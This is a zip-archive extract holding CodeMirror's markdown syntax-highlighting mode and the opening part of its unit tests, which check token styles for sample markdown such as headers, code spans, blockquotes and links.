PK     N\Lb  Lb  N  inc/customizer/framework/assets/js/vendor/codemirror/mode/markdown/markdown.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function(mod) {
  if (typeof exports == "object" && typeof module == "object") // CommonJS
    mod(require("../../lib/codemirror"), require("../xml/xml"), require("../meta"));
  else if (typeof define == "function" && define.amd) // AMD
    define(["../../lib/codemirror", "../xml/xml", "../meta"], mod);
  else // Plain browser env
    mod(CodeMirror);
})(function(CodeMirror) {
"use strict";

CodeMirror.defineMode("markdown", function(cmCfg, modeCfg) {

  var htmlFound = CodeMirror.modes.hasOwnProperty("xml");
  var htmlMode = CodeMirror.getMode(cmCfg, htmlFound ? {name: "xml", htmlMode: true} : "text/plain");

  function getMode(name) {
    if (CodeMirror.findModeByName) {
      var found = CodeMirror.findModeByName(name);
      if (found) name = found.mime || found.mimes[0];
    }
    var mode = CodeMirror.getMode(cmCfg, name);
    return mode.name == "null" ? null : mode;
  }

  // Should characters that affect highlighting be highlighted separate?
  // Does not include characters that will be output (such as `1.` and `-` for lists)
  if (modeCfg.highlightFormatting === undefined)
    modeCfg.highlightFormatting = false;

  // Maximum number of nested blockquotes. Set to 0 for infinite nesting.
  // Excess `>` will emit `error` token.
  if (modeCfg.maxBlockquoteDepth === undefined)
    modeCfg.maxBlockquoteDepth = 0;

  // Should underscores in words open/close em/strong?
  if (modeCfg.underscoresBreakWords === undefined)
    modeCfg.underscoresBreakWords = true;

  // Use `fencedCodeBlocks` to configure fenced code blocks. false to
  // disable, string to specify a precise regexp that the fence should
  // match, and true to allow three or more backticks or tildes (as
  // per CommonMark).

  // Turn on task lists? ("- [ ] " and "- [x] ")
  if (modeCfg.taskLists === undefined) modeCfg.taskLists = false;

  // Turn on strikethrough syntax
  if (modeCfg.strikethrough === undefined)
    modeCfg.strikethrough = false;

  // Allow token types to be overridden by user-provided token types.
  if (modeCfg.tokenTypeOverrides === undefined)
    modeCfg.tokenTypeOverrides = {};

  var codeDepth = 0;

  var tokenTypes = {
    header: "header",
    code: "comment",
    quote: "quote",
    list1: "variable-2",
    list2: "variable-3",
    list3: "keyword",
    hr: "hr",
    image: "tag",
    formatting: "formatting",
    linkInline: "link",
    linkEmail: "link",
    linkText: "link",
    linkHref: "string",
    em: "em",
    strong: "strong",
    strikethrough: "strikethrough"
  };

  for (var tokenType in tokenTypes) {
    if (tokenTypes.hasOwnProperty(tokenType) && modeCfg.tokenTypeOverrides[tokenType]) {
      tokenTypes[tokenType] = modeCfg.tokenTypeOverrides[tokenType];
    }
  }

  var hrRE = /^([*\-_])(?:\s*\1){2,}\s*$/
  ,   ulRE = /^[*\-+]\s+/
  ,   olRE = /^[0-9]+([.)])\s+/
  ,   taskListRE = /^\[(x| )\](?=\s)/ // Must follow ulRE or olRE
  ,   atxHeaderRE = modeCfg.allowAtxHeaderWithoutSpace ? /^(#+)/ : /^(#+)(?: |$)/
  ,   setextHeaderRE = /^ *(?:\={1,}|-{1,})\s*$/
  ,   textRE = /^[^#!\[\]*_\\<>` "'(~]+/
  ,   fencedCodeRE = new RegExp("^(" + (modeCfg.fencedCodeBlocks === true ? "~~~+|```+" : modeCfg.fencedCodeBlocks) +
                                ")[ \\t]*([\\w+#]*)");

  function switchInline(stream, state, f) {
    state.f = state.inline = f;
    return f(stream, state);
  }

  function switchBlock(stream, state, f) {
    state.f = state.block = f;
    return f(stream, state);
  }

  function lineIsEmpty(line) {
    return !line || !/\S/.test(line.string)
  }

  // Blocks

  function blankLine(state) {
    // Reset linkTitle state
    state.linkTitle = false;
    // Reset EM state
    state.em = false;
    // Reset STRONG state
    state.strong = false;
    // Reset strikethrough state
    state.strikethrough = false;
    // Reset state.quote
    state.quote = 0;
    // Reset state.indentedCode
    state.indentedCode = false;
    if (!htmlFound && state.f == htmlBlock) {
      state.f = inlineNormal;
      state.block = blockNormal;
    }
    // Reset state.trailingSpace
    state.trailingSpace = 0;
    state.trailingSpaceNewLine = false;
    // Mark this line as blank
    state.prevLine = state.thisLine
    state.thisLine = null
    return null;
  }

  function blockNormal(stream, state) {

    var sol = stream.sol();

    var prevLineIsList = state.list !== false,
        prevLineIsIndentedCode = state.indentedCode;

    state.indentedCode = false;

    if (prevLineIsList) {
      if (state.indentationDiff >= 0) { // Continued list
        if (state.indentationDiff < 4) { // Only adjust indentation if *not* a code block
          state.indentation -= state.indentationDiff;
        }
        state.list = null;
      } else if (state.indentation > 0) {
        state.list = null;
        state.listDepth = Math.floor(state.indentation / 4);
      } else { // No longer a list
        state.list = false;
        state.listDepth = 0;
      }
    }

    var match = null;
    if (state.indentationDiff >= 4) {
      stream.skipToEnd();
      if (prevLineIsIndentedCode || lineIsEmpty(state.prevLine)) {
        state.indentation -= 4;
        state.indentedCode = true;
        return tokenTypes.code;
      } else {
        return null;
      }
    } else if (stream.eatSpace()) {
      return null;
    } else if ((match = stream.match(atxHeaderRE)) && match[1].length <= 6) {
      state.header = match[1].length;
      if (modeCfg.highlightFormatting) state.formatting = "header";
      state.f = state.inline;
      return getType(state);
    } else if (!lineIsEmpty(state.prevLine) && !state.quote && !prevLineIsList &&
               !prevLineIsIndentedCode && (match = stream.match(setextHeaderRE))) {
      state.header = match[0].charAt(0) == '=' ? 1 : 2;
      if (modeCfg.highlightFormatting) state.formatting = "header";
      state.f = state.inline;
      return getType(state);
    } else if (stream.eat('>')) {
      state.quote = sol ? 1 : state.quote + 1;
      if (modeCfg.highlightFormatting) state.formatting = "quote";
      stream.eatSpace();
      return getType(state);
    } else if (stream.peek() === '[') {
      return switchInline(stream, state, footnoteLink);
    } else if (stream.match(hrRE, true)) {
      state.hr = true;
      return tokenTypes.hr;
    } else if ((lineIsEmpty(state.prevLine) || prevLineIsList) && (stream.match(ulRE, false) || stream.match(olRE, false))) {
      var listType = null;
      if (stream.match(ulRE, true)) {
        listType = 'ul';
      } else {
        stream.match(olRE, true);
        listType = 'ol';
      }
      state.indentation = stream.column() + stream.current().length;
      state.list = true;
      state.listDepth++;
      if (modeCfg.taskLists && stream.match(taskListRE, false)) {
        state.taskList = true;
      }
      state.f = state.inline;
      if (modeCfg.highlightFormatting) state.formatting = ["list", "list-" + listType];
      return getType(state);
    } else if (modeCfg.fencedCodeBlocks && (match = stream.match(fencedCodeRE, true))) {
      state.fencedChars = match[1]
      // try switching mode
      state.localMode = getMode(match[2]);
      if (state.localMode) state.localState = state.localMode.startState();
      state.f = state.block = local;
      if (modeCfg.highlightFormatting) state.formatting = "code-block";
      state.code = true;
      return getType(state);
    }

    return switchInline(stream, state, state.inline);
  }

  function htmlBlock(stream, state) {
    var style = htmlMode.token(stream, state.htmlState);
    if ((htmlFound && state.htmlState.tagStart === null &&
         (!state.htmlState.context && state.htmlState.tokenize.isInText)) ||
        (state.md_inside && stream.current().indexOf(">") > -1)) {
      state.f = inlineNormal;
      state.block = blockNormal;
      state.htmlState = null;
    }
    return style;
  }

  function local(stream, state) {
    if (stream.sol() && state.fencedChars && stream.match(state.fencedChars, false)) {
      state.localMode = state.localState = null;
      state.f = state.block = leavingLocal;
      return null;
    } else if (state.localMode) {
      return state.localMode.token(stream, state.localState);
    } else {
      stream.skipToEnd();
      return tokenTypes.code;
    }
  }

  function leavingLocal(stream, state) {
    stream.match(state.fencedChars);
    state.block = blockNormal;
    state.f = inlineNormal;
    state.fencedChars = null;
    if (modeCfg.highlightFormatting) state.formatting = "code-block";
    state.code = true;
    var returnType = getType(state);
    state.code = false;
    return returnType;
  }

  // Inline
  function getType(state) {
    var styles = [];

    if (state.formatting) {
      styles.push(tokenTypes.formatting);

      if (typeof state.formatting === "string") state.formatting = [state.formatting];

      for (var i = 0; i < state.formatting.length; i++) {
        styles.push(tokenTypes.formatting + "-" + state.formatting[i]);

        if (state.formatting[i] === "header") {
          styles.push(tokenTypes.formatting + "-" + state.formatting[i] + "-" + state.header);
        }

        // Add `formatting-quote` and `formatting-quote-#` for blockquotes
        // Add `error` instead if the maximum blockquote nesting depth is passed
        if (state.formatting[i] === "quote") {
          if (!modeCfg.maxBlockquoteDepth || modeCfg.maxBlockquoteDepth >= state.quote) {
            styles.push(tokenTypes.formatting + "-" + state.formatting[i] + "-" + state.quote);
          } else {
            styles.push("error");
          }
        }
      }
    }

    if (state.taskOpen) {
      styles.push("meta");
      return styles.length ? styles.join(' ') : null;
    }
    if (state.taskClosed) {
      styles.push("property");
      return styles.length ? styles.join(' ') : null;
    }

    if (state.linkHref) {
      styles.push(tokenTypes.linkHref, "url");
    } else { // Only apply inline styles to non-url text
      if (state.strong) { styles.push(tokenTypes.strong); }
      if (state.em) { styles.push(tokenTypes.em); }
      if (state.strikethrough) { styles.push(tokenTypes.strikethrough); }
      if (state.linkText) { styles.push(tokenTypes.linkText); }
      if (state.code) { styles.push(tokenTypes.code); }
    }

    if (state.header) { styles.push(tokenTypes.header, tokenTypes.header + "-" + state.header); }

    if (state.quote) {
      styles.push(tokenTypes.quote);

      // Add `quote-#` where the maximum for `#` is modeCfg.maxBlockquoteDepth
      if (!modeCfg.maxBlockquoteDepth || modeCfg.maxBlockquoteDepth >= state.quote) {
        styles.push(tokenTypes.quote + "-" + state.quote);
      } else {
        styles.push(tokenTypes.quote + "-" + modeCfg.maxBlockquoteDepth);
      }
    }

    if (state.list !== false) {
      var listMod = (state.listDepth - 1) % 3;
      if (!listMod) {
        styles.push(tokenTypes.list1);
      } else if (listMod === 1) {
        styles.push(tokenTypes.list2);
      } else {
        styles.push(tokenTypes.list3);
      }
    }

    if (state.trailingSpaceNewLine) {
      styles.push("trailing-space-new-line");
    } else if (state.trailingSpace) {
      styles.push("trailing-space-" + (state.trailingSpace % 2 ? "a" : "b"));
    }

    return styles.length ? styles.join(' ') : null;
  }

  function handleText(stream, state) {
    if (stream.match(textRE, true)) {
      return getType(state);
    }
    return undefined;
  }

  function inlineNormal(stream, state) {
    var style = state.text(stream, state);
    if (typeof style !== 'undefined')
      return style;

    if (state.list) { // List marker (*, +, -, 1., etc)
      state.list = null;
      return getType(state);
    }

    if (state.taskList) {
      var taskOpen = stream.match(taskListRE, true)[1] !== "x";
      if (taskOpen) state.taskOpen = true;
      else state.taskClosed = true;
      if (modeCfg.highlightFormatting) state.formatting = "task";
      state.taskList = false;
      return getType(state);
    }

    state.taskOpen = false;
    state.taskClosed = false;

    if (state.header && stream.match(/^#+$/, true)) {
      if (modeCfg.highlightFormatting) state.formatting = "header";
      return getType(state);
    }

    // Get sol() value now, before character is consumed
    var sol = stream.sol();

    var ch = stream.next();

    if (ch === '\\') {
      stream.next();
      if (modeCfg.highlightFormatting) {
        var type = getType(state);
        var formattingEscape = tokenTypes.formatting + "-escape";
        return type ? type + " " + formattingEscape : formattingEscape;
      }
    }

    // Matches link titles present on next line
    if (state.linkTitle) {
      state.linkTitle = false;
      var matchCh = ch;
      if (ch === '(') {
        matchCh = ')';
      }
      matchCh = (matchCh+'').replace(/([.?*+^$[\]\\(){}|-])/g, "\\$1");
      var regex = '^\\s*(?:[^' + matchCh + '\\\\]+|\\\\\\\\|\\\\.)' + matchCh;
      if (stream.match(new RegExp(regex), true)) {
        return tokenTypes.linkHref;
      }
    }

    // If this block is changed, it may need to be updated in GFM mode
    if (ch === '`') {
      var previousFormatting = state.formatting;
      if (modeCfg.highlightFormatting) state.formatting = "code";
      var t = getType(state);
      var before = stream.pos;
      stream.eatWhile('`');
      var difference = 1 + stream.pos - before;
      if (!state.code) {
        codeDepth = difference;
        state.code = true;
        return getType(state);
      } else {
        if (difference === codeDepth) { // Must be exact
          state.code = false;
          return t;
        }
        state.formatting = previousFormatting;
        return getType(state);
      }
    } else if (state.code) {
      return getType(state);
    }

    if (ch === '!' && stream.match(/\[[^\]]*\] ?(?:\(|\[)/, false)) {
      stream.match(/\[[^\]]*\]/);
      state.inline = state.f = linkHref;
      return tokenTypes.image;
    }

    if (ch === '[' && stream.match(/.*\](\(.*\)| ?\[.*\])/, false)) {
      state.linkText = true;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      return getType(state);
    }

    if (ch === ']' && state.linkText && stream.match(/\(.*\)| ?\[.*\]/, false)) {
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      state.linkText = false;
      state.inline = state.f = linkHref;
      return type;
    }

    if (ch === '<' && stream.match(/^(https?|ftps?):\/\/(?:[^\\>]|\\.)+>/, false)) {
      state.f = state.inline = linkInline;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      if (type){
        type += " ";
      } else {
        type = "";
      }
      return type + tokenTypes.linkInline;
    }

    if (ch === '<' && stream.match(/^[^> \\]+@(?:[^\\>]|\\.)+>/, false)) {
      state.f = state.inline = linkInline;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      if (type){
        type += " ";
      } else {
        type = "";
      }
      return type + tokenTypes.linkEmail;
    }

    if (ch === '<' && stream.match(/^(!--|\w)/, false)) {
      var end = stream.string.indexOf(">", stream.pos);
      if (end != -1) {
        var atts = stream.string.substring(stream.start, end);
        if (/markdown\s*=\s*('|"){0,1}1('|"){0,1}/.test(atts)) state.md_inside = true;
      }
      stream.backUp(1);
      state.htmlState = CodeMirror.startState(htmlMode);
      return switchBlock(stream, state, htmlBlock);
    }

    if (ch === '<' && stream.match(/^\/\w*?>/)) {
      state.md_inside = false;
      return "tag";
    }

    var ignoreUnderscore = false;
    if (!modeCfg.underscoresBreakWords) {
      if (ch === '_' && stream.peek() !== '_' && stream.match(/(\w)/, false)) {
        var prevPos = stream.pos - 2;
        if (prevPos >= 0) {
          var prevCh = stream.string.charAt(prevPos);
          if (prevCh !== '_' && prevCh.match(/(\w)/, false)) {
            ignoreUnderscore = true;
          }
        }
      }
    }
    if (ch === '*' || (ch === '_' && !ignoreUnderscore)) {
      if (sol && stream.peek() === ' ') {
        // Do nothing, surrounded by newline and space
      } else if (state.strong === ch && stream.eat(ch)) { // Remove STRONG
        if (modeCfg.highlightFormatting) state.formatting = "strong";
        var t = getType(state);
        state.strong = false;
        return t;
      } else if (!state.strong && stream.eat(ch)) { // Add STRONG
        state.strong = ch;
        if (modeCfg.highlightFormatting) state.formatting = "strong";
        return getType(state);
      } else if (state.em === ch) { // Remove EM
        if (modeCfg.highlightFormatting) state.formatting = "em";
        var t = getType(state);
        state.em = false;
        return t;
      } else if (!state.em) { // Add EM
        state.em = ch;
        if (modeCfg.highlightFormatting) state.formatting = "em";
        return getType(state);
      }
    } else if (ch === ' ') {
      if (stream.eat('*') || stream.eat('_')) { // Probably surrounded by spaces
        if (stream.peek() === ' ') { // Surrounded by spaces, ignore
          return getType(state);
        } else { // Not surrounded by spaces, back up pointer
          stream.backUp(1);
        }
      }
    }

    if (modeCfg.strikethrough) {
      if (ch === '~' && stream.eatWhile(ch)) {
        if (state.strikethrough) {// Remove strikethrough
          if (modeCfg.highlightFormatting) state.formatting = "strikethrough";
          var t = getType(state);
          state.strikethrough = false;
          return t;
        } else if (stream.match(/^[^\s]/, false)) {// Add strikethrough
          state.strikethrough = true;
          if (modeCfg.highlightFormatting) state.formatting = "strikethrough";
          return getType(state);
        }
      } else if (ch === ' ') {
        if (stream.match(/^~~/, true)) { // Probably surrounded by space
          if (stream.peek() === ' ') { // Surrounded by spaces, ignore
            return getType(state);
          } else { // Not surrounded by spaces, back up pointer
            stream.backUp(2);
          }
        }
      }
    }

    if (ch === ' ') {
      if (stream.match(/ +$/, false)) {
        state.trailingSpace++;
      } else if (state.trailingSpace) {
        state.trailingSpaceNewLine = true;
      }
    }

    return getType(state);
  }

  function linkInline(stream, state) {
    var ch = stream.next();

    if (ch === ">") {
      state.f = state.inline = inlineNormal;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      if (type){
        type += " ";
      } else {
        type = "";
      }
      return type + tokenTypes.linkInline;
    }

    stream.match(/^[^>]+/, true);

    return tokenTypes.linkInline;
  }

  function linkHref(stream, state) {
    // Check if space, and return NULL if so (to avoid marking the space)
    if(stream.eatSpace()){
      return null;
    }
    var ch = stream.next();
    if (ch === '(' || ch === '[') {
      state.f = state.inline = getLinkHrefInside(ch === "(" ? ")" : "]");
      if (modeCfg.highlightFormatting) state.formatting = "link-string";
      state.linkHref = true;
      return getType(state);
    }
    return 'error';
  }

  function getLinkHrefInside(endChar) {
    return function(stream, state) {
      var ch = stream.next();

      if (ch === endChar) {
        state.f = state.inline = inlineNormal;
        if (modeCfg.highlightFormatting) state.formatting = "link-string";
        var returnState = getType(state);
        state.linkHref = false;
        return returnState;
      }

      if (stream.match(inlineRE(endChar), true)) {
        stream.backUp(1);
      }

      state.linkHref = true;
      return getType(state);
    };
  }

  function footnoteLink(stream, state) {
    if (stream.match(/^[^\]]*\]:/, false)) {
      state.f = footnoteLinkInside;
      stream.next(); // Consume [
      if (modeCfg.highlightFormatting) state.formatting = "link";
      state.linkText = true;
      return getType(state);
    }
    return switchInline(stream, state, inlineNormal);
  }

  function footnoteLinkInside(stream, state) {
    if (stream.match(/^\]:/, true)) {
      state.f = state.inline = footnoteUrl;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var returnType = getType(state);
      state.linkText = false;
      return returnType;
    }

    stream.match(/^[^\]]+/, true);

    return tokenTypes.linkText;
  }

  function footnoteUrl(stream, state) {
    // Check if space, and return NULL if so (to avoid marking the space)
    if(stream.eatSpace()){
      return null;
    }
    // Match URL
    stream.match(/^[^\s]+/, true);
    // Check for link title
    if (stream.peek() === undefined) { // End of line, set flag to check next line
      state.linkTitle = true;
    } else { // More content on line, check if link title
      stream.match(/^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/, true);
    }
    state.f = state.inline = inlineNormal;
    return tokenTypes.linkHref + " url";
  }

  var savedInlineRE = [];
  function inlineRE(endChar) {
    if (!savedInlineRE[endChar]) {
      // Escape endChar for RegExp (taken from http://stackoverflow.com/a/494122/526741)
      endChar = (endChar+'').replace(/([.?*+^$[\]\\(){}|-])/g, "\\$1");
      // Match any non-endChar, escaped character, as well as the closing
      // endChar.
      savedInlineRE[endChar] = new RegExp('^(?:[^\\\\]|\\\\.)*?(' + endChar + ')');
    }
    return savedInlineRE[endChar];
  }

  var mode = {
    startState: function() {
      return {
        f: blockNormal,

        prevLine: null,
        thisLine: null,

        block: blockNormal,
        htmlState: null,
        indentation: 0,

        inline: inlineNormal,
        text: handleText,

        formatting: false,
        linkText: false,
        linkHref: false,
        linkTitle: false,
        em: false,
        strong: false,
        header: 0,
        hr: false,
        taskList: false,
        list: false,
        listDepth: 0,
        quote: 0,
        trailingSpace: 0,
        trailingSpaceNewLine: false,
        strikethrough: false,
        fencedChars: null
      };
    },

    copyState: function(s) {
      return {
        f: s.f,

        prevLine: s.prevLine,
        thisLine: s.thisLine,

        block: s.block,
        htmlState: s.htmlState && CodeMirror.copyState(htmlMode, s.htmlState),
        indentation: s.indentation,

        localMode: s.localMode,
        localState: s.localMode ? CodeMirror.copyState(s.localMode, s.localState) : null,

        inline: s.inline,
        text: s.text,
        formatting: false,
        linkTitle: s.linkTitle,
        code: s.code,
        em: s.em,
        strong: s.strong,
        strikethrough: s.strikethrough,
        header: s.header,
        hr: s.hr,
        taskList: s.taskList,
        list: s.list,
        listDepth: s.listDepth,
        quote: s.quote,
        indentedCode: s.indentedCode,
        trailingSpace: s.trailingSpace,
        trailingSpaceNewLine: s.trailingSpaceNewLine,
        md_inside: s.md_inside,
        fencedChars: s.fencedChars
      };
    },

    token: function(stream, state) {

      // Reset state.formatting
      state.formatting = false;

      if (stream != state.thisLine) {
        var forceBlankLine = state.header || state.hr;

        // Reset state.header and state.hr
        state.header = 0;
        state.hr = false;

        if (stream.match(/^\s*$/, true) || forceBlankLine) {
          blankLine(state);
          if (!forceBlankLine) return null
          state.prevLine = null
        }

        state.prevLine = state.thisLine
        state.thisLine = stream

        // Reset state.taskList
        state.taskList = false;

        // Reset state.trailingSpace
        state.trailingSpace = 0;
        state.trailingSpaceNewLine = false;

        state.f = state.block;
        var indentation = stream.match(/^\s*/, true)[0].replace(/\t/g, '    ').length;
        var difference = Math.floor((indentation - state.indentation) / 4) * 4;
        if (difference > 4) difference = 4;
        var adjustedIndentation = state.indentation + difference;
        state.indentationDiff = adjustedIndentation - state.indentation;
        state.indentation = adjustedIndentation;
        if (indentation > 0) return null;
      }
      return state.f(stream, state);
    },

    innerMode: function(state) {
      if (state.block == htmlBlock) return {state: state.htmlState, mode: htmlMode};
      if (state.localState) return {state: state.localState, mode: state.localMode};
      return {state: state, mode: mode};
    },

    blankLine: blankLine,

    getType: getType,

    fold: "markdown"
  };
  return mode;
}, "xml");

CodeMirror.defineMIME("text/x-markdown", "markdown");

});
PK     N\h  h  J  inc/customizer/framework/assets/js/vendor/codemirror/mode/markdown/test.jsnu [        // CodeMirror, copyright (c) by Marijn Haverbeke and others
// Distributed under an MIT license: http://codemirror.net/LICENSE

(function() {
  var mode = CodeMirror.getMode({tabSize: 4}, "markdown");
  function MT(name) { test.mode(name, mode, Array.prototype.slice.call(arguments, 1)); }
  var modeHighlightFormatting = CodeMirror.getMode({tabSize: 4}, {name: "markdown", highlightFormatting: true});
  function FT(name) { test.mode(name, modeHighlightFormatting, Array.prototype.slice.call(arguments, 1)); }
  var modeAtxNoSpace = CodeMirror.getMode({tabSize: 4}, {name: "markdown", allowAtxHeaderWithoutSpace: true});
  function AtxNoSpaceTest(name) { test.mode(name, modeAtxNoSpace, Array.prototype.slice.call(arguments, 1)); }
  var modeFenced = CodeMirror.getMode({tabSize: 4}, {name: "markdown", fencedCodeBlocks: true});
  function FencedTest(name) { test.mode(name, modeFenced, Array.prototype.slice.call(arguments, 1)); }
  var modeOverrideClasses = CodeMirror.getMode({tabsize: 4}, {
    name: "markdown",
    strikethrough: true,
    tokenTypeOverrides: {
      "header" : "override-header",
      "code" : "override-code",
      "quote" : "override-quote",
      "list1" : "override-list1",
      "list2" : "override-list2",
      "list3" : "override-list3",
      "hr" : "override-hr",
      "image" : "override-image",
      "linkInline" : "override-link-inline",
      "linkEmail" : "override-link-email",
      "linkText" : "override-link-text",
      "linkHref" : "override-link-href",
      "em" : "override-em",
      "strong" : "override-strong",
      "strikethrough" : "override-strikethrough"
  }});
  function TokenTypeOverrideTest(name) { test.mode(name, modeOverrideClasses, Array.prototype.slice.call(arguments, 1)); }
  var modeFormattingOverride = CodeMirror.getMode({tabsize: 4}, {
    name: "markdown",
    highlightFormatting: true,
    tokenTypeOverrides: {
      "formatting" : "override-formatting"
  }});
  function FormatTokenTypeOverrideTest(name) { test.mode(name, modeFormattingOverride, Array.prototype.slice.call(arguments, 1)); }


  FT("formatting_emAsterisk",
     "[em&formatting&formatting-em *][em foo][em&formatting&formatting-em *]");

  FT("formatting_emUnderscore",
     "[em&formatting&formatting-em _][em foo][em&formatting&formatting-em _]");

  FT("formatting_strongAsterisk",
     "[strong&formatting&formatting-strong **][strong foo][strong&formatting&formatting-strong **]");

  FT("formatting_strongUnderscore",
     "[strong&formatting&formatting-strong __][strong foo][strong&formatting&formatting-strong __]");

  FT("formatting_codeBackticks",
     "[comment&formatting&formatting-code `][comment foo][comment&formatting&formatting-code `]");

  FT("formatting_doubleBackticks",
     "[comment&formatting&formatting-code ``][comment foo ` bar][comment&formatting&formatting-code ``]");

  FT("formatting_atxHeader",
     "[header&header-1&formatting&formatting-header&formatting-header-1 # ][header&header-1 foo # bar ][header&header-1&formatting&formatting-header&formatting-header-1 #]");

  FT("formatting_setextHeader",
     "foo",
     "[header&header-1&formatting&formatting-header&formatting-header-1 =]");

  FT("formatting_blockquote",
     "[quote&quote-1&formatting&formatting-quote&formatting-quote-1 > ][quote&quote-1 foo]");

  FT("formatting_list",
     "[variable-2&formatting&formatting-list&formatting-list-ul - ][variable-2 foo]");
  FT("formatting_list",
     "[variable-2&formatting&formatting-list&formatting-list-ol 1. ][variable-2 foo]");

  FT("formatting_link",
     "[link&formatting&formatting-link [][link foo][link&formatting&formatting-link ]]][string&formatting&formatting-link-string&url (][string&url http://example.com/][string&formatting&formatting-link-string&url )]");

  FT("formatting_linkReference",
     "[link&formatting&formatting-link [][link foo][link&formatting&formatting-link ]]][string&formatting&formatting-link-string&url [][string&url bar][string&formatting&formatting-link-string&url ]]]",
     "[link&formatting&formatting-link [][link bar][link&formatting&formatting-link ]]:] [string&url http://example.com/]");

  FT("formatting_linkWeb",
     "[link&formatting&formatting-link <][link http://example.com/][link&formatting&formatting-link >]");

  FT("formatting_linkEmail",
     "[link&formatting&formatting-link <][link user@example.com][link&formatting&formatting-link >]");

  FT("formatting_escape",
     "[formatting-escape \\*]");

  MT("plainText",
     "foo");

  // Don't style single trailing space
  MT("trailingSpace1",
     "foo ");

  // Two or more trailing spaces should be styled with line break character
  MT("trailingSpace2",
     "foo[trailing-space-a  ][trailing-space-new-line  ]");

  MT("trailingSpace3",
     "foo[trailing-space-a  ][trailing-space-b  ][trailing-space-new-line  ]");

  MT("trailingSpace4",
     "foo[trailing-space-a  ][trailing-space-b  ][trailing-space-a  ][trailing-space-new-line  ]");

  // Code blocks using 4 spaces (regardless of CodeMirror.tabSize value)
  MT("codeBlocksUsing4Spaces",
     "    [comment foo]");

  // Code blocks using 4 spaces with internal indentation
  MT("codeBlocksUsing4SpacesIndentation",
     "    [comment bar]",
     "        [comment hello]",
     "            [comment world]",
     "    [comment foo]",
     "bar");

  // Code blocks should end even after extra indented lines
  MT("codeBlocksWithTrailingIndentedLine",
     "    [comment foo]",
     "        [comment bar]",
     "    [comment baz]",
     "    ",
     "hello");

  // Code blocks using 1 tab (regardless of CodeMirror.indentWithTabs value)
  MT("codeBlocksUsing1Tab",
     "\t[comment foo]");

  // No code blocks directly after paragraph
  // http://spec.commonmark.org/0.19/#example-65
  MT("noCodeBlocksAfterParagraph",
     "Foo",
     "    Bar");

  // Inline code using backticks
  MT("inlineCodeUsingBackticks",
     "foo [comment `bar`]");

  // Block code using single backtick (shouldn't work)
  MT("blockCodeSingleBacktick",
     "[comment `]",
     "[comment foo]",
     "[comment `]");

  // Unclosed backticks
  // Instead of simply marking as CODE, it would be nice to have an
  // incomplete flag for CODE, that is styled slightly different.
  MT("unclosedBackticks",
     "foo [comment `bar]");

  // Per documentation: "To include a literal backtick character within a
  // code span, you can use multiple backticks as the opening and closing
  // delimiters"
  MT("doubleBackticks",
     "[comment ``foo ` bar``]");

  // Tests based on Dingus
  // http://daringfireball.net/projects/markdown/dingus
  //
  // Multiple backticks within an inline code block
  MT("consecutiveBackticks",
     "[comment `foo```bar`]");

  // Multiple backticks within an inline code block with a second code block
  MT("consecutiveBackticks",
     "[comment `foo```bar`] hello [comment `world`]");

  // Unclosed with several different groups of backticks
  MT("unclosedBackticks",
     "[comment ``foo ``` bar` hello]");

  // Closed with several different groups of backticks
  MT("closedBackticks",
     "[comment ``foo ``` bar` hello``] world");

  // atx headers
  // http://daringfireball.net/projects/markdown/syntax#header

  MT("atxH1",
     "[header&header-1 # foo]");

  MT("atxH2",
     "[header&header-2 ## foo]");

  MT("atxH3",
     "[header&header-3 ### foo]");

  MT("atxH4",
     "[header&header-4 #### foo]");

  MT("atxH5",
     "[header&header-5 ##### foo]");

  MT("atxH6",
     "[header&header-6 ###### foo]");

  // http://spec.commonmark.org/0.19/#example-24
  MT("noAtxH7",
     "####### foo");

  // http://spec.commonmark.org/0.19/#example-25
  MT("noAtxH1WithoutSpace",
     "#5 bolt");

  // CommonMark requires a space after # but most parsers don't
  AtxNoSpaceTest("atxNoSpaceAllowed_H1NoSpace",
     "[header&header-1 #foo]");

  AtxNoSpaceTest("atxNoSpaceAllowed_H4NoSpace",
     "[header&header-4 ####foo]");

  AtxNoSpaceTest("atxNoSpaceAllowed_H1Space",
     "[header&header-1 # foo]");

  // Inline styles should be parsed inside headers
  MT("atxH1inline",
     "[header&header-1 # foo ][header&header-1&em *bar*]");

  // Setext headers - H1, H2
  // Per documentation, "Any number of underlining =’s or -’s will work."
  // http://daringfireball.net/projects/markdown/syntax#header
  // Ideally, the text would be marked as `header` as well, but this is
  // not really feasible at the moment. So, instead, we're testing against
  // what works today, to avoid any regressions.
  //
  // Check if single underlining = works
  MT("setextH1",
     "foo",
     "[header&header-1 =]");

  // Check if 3+ ='s work
  MT("setextH1",
     "foo",
     "[header&header-1 ===]");

  // Check if single underlining - works
  MT("setextH2",
     "foo",
     "[header&header-2 -]");

  // Check if 3+ -'s work
  MT("setextH2",
     "foo",
     "[header&header-2 ---]");

  // http://spec.commonmark.org/0.19/#example-45
  MT("setextH2AllowSpaces",
     "foo",
     "   [header&header-2 ----      ]");

  // http://spec.commonmark.org/0.19/#example-44
  MT("noSetextAfterIndentedCodeBlock",
     "     [comment foo]",
     "[hr ---]");

  // http://spec.commonmark.org/0.19/#example-51
  MT("noSetextAfterQuote",
     "[quote&quote-1 > foo]",
     "[hr ---]");

  MT("noSetextAfterList",
     "[variable-2 - foo]",
     "[hr ---]");

  // Single-line blockquote with trailing space
  MT("blockquoteSpace",
     "[quote&quote-1 > foo]");

  // Single-line blockquote
  MT("blockquoteNoSpace",
     "[quote&quote-1 >foo]");

  // No blank line before blockquote
  MT("blockquoteNoBlankLine",
     "foo",
     "[quote&quote-1 > bar]");

  // Nested blockquote
  MT("blockquoteSpace",
     "[quote&quote-1 > foo]",
     "[quote&quote-1 >][quote&quote-2 > foo]",
     "[quote&quote-1 >][quote&quote-2 >][quote&quote-3 > foo]");

  // Single-line blockquote followed by normal paragraph
  MT("blockquoteThenParagraph",
     "[quote&quote-1 >foo]",
     "",
     "bar");

  // Multi-line blockquote (lazy mode)
  MT("multiBlockquoteLazy",
     "[quote&quote-1 >foo]",
